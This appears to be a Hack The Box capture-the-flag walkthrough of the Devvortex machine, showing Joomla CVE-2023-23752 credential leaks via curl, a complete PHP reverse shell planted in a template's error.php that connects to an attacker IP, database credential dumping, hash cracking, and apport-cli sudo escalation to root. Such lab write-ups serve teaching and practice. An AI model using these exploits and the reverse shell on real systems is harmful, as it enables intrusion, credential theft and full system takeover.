Devvortex Hackthebox Walkthrough

Eslam Omar
InfoSec Write-ups
Published in
7 min readApr 28, 2024

--

Recon

After using Nmap I discovered two open ports: 22 SSH and port 80 HTTP.

nmap -sV -sC -oA scan/result -Pn 10.129.170.120

Website — port 80

Now, I’ll use Gobuster.

gobuster dir --url "http://devvortex.htb/" -w /usr/share/dirb/wordlists/small.txt

I don’t find anything interesting.

Subdomains Enumeration

gobuster vhost -u "http://devvortex.htb/" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain

I have found a subdomain, but now I need to add it to the host’s file.

Now, let’s visit this subdomain.

The website uses these technologies.

Alright, Now we can use Gobuster to discover directories and files.

gobuster dir --url "http://dev.devvortex.htb/" -w /usr/share/dirb/wordlists/small.txt

Now let’s check them.

Let’s start testing this website that was built using Joomla CMS. We have a dashboard login, so let’s try using default credentials such as admin: admin or root: root. However, it’s not working.

I’ll use joomscan to scan our target.

joomscan -u "http://dev.devvortex.htb/" 

I’ll use Google to search What is a current version of Joomla?

Great, it’s an old version. Now I’ll search for any publicly available exploits.

Okay, let’s start exploiting.

Manually Exploitation

curl "http://dev.devvortex.htb/api/index.php/v1/users?public=true" | jq . 

We now need to know a password for Lewis.

curl "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq .

Automation exploit

I created a simple bash script to automate this.

git clone git@github.com:0xx01/CVE-2023-23752.git
cd CVE-2023-23752
chmod +x exploit.sh
./exploit.sh http://dev.devvortex.htb

Let’s log in with these credentials.

Now we can take a reverse shell.

To access the administrator templates, navigate to the system tab and after that choose your template.

I’ll add this code to the error.php page.

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = 'Your_IP'; // CHANGE THIS
$port = YOUR_PORT; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>

Save this and run these commands.

www-data ==> logan

We found MySQL running on a local machine. Let’s search for any passwords to see if we can access the database. After searching, we found the database credentials in configuration.php.

mysql -h 127.0.0.1 -u lewis -p
show databases; # Return all databases.
use Joomla; # To use the Joomla database.
show tables; # Return all tables in the database
select * from sd4fg_users; # Return all data users in this table.

Now, I need to use John to crack this password.

sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Let’s login with these credentials Via SSH.

ssh logan@10.129.170.120

PrivESC

I found a binary file we can use this binary with the sudo command without a password.

sudo -l
/usr/bin/apport-cli -v

Now, that we know the version I’ll search for any publicly available exploits.

After reading about this CVE let’s exploit it.

sudo /usr/bin/apport-cli -f

*** What kind of problem do you want to report?


Choices:
1: Display (X.org)
2: External or internal storage devices (e. g. USB sticks)
3: Security related problems
4: Sound/audio related problems
5: dist-upgrade
6: installation
7: installer
8: release-upgrade
9: ubuntu-release-upgrader
10: Other problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1


*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.

*** What display problem do you observe?


Choices:
1: I don't know
2: Freezes or hangs during boot or usage
3: Crashes or restarts back to login screen
4: Resolution is incorrect
5: Shows screen corruption
6: Performance is worse than expected
7: Fonts are the wrong size
8: Other display-related problem
C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 2


***

To debug X freezes, please see https://wiki.ubuntu.com/X/Troubleshooting/Freeze

Press any key to continue...
..dpkg-query: no packages found matching xorg
............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
S: Send report (1.4 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
Please choose (S/V/K/I/C): V
root@devvortex:/home/logan# whoami
root
root@devvortex:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)
root@devvortex:/home/logan#

Thanks for reading.

--

--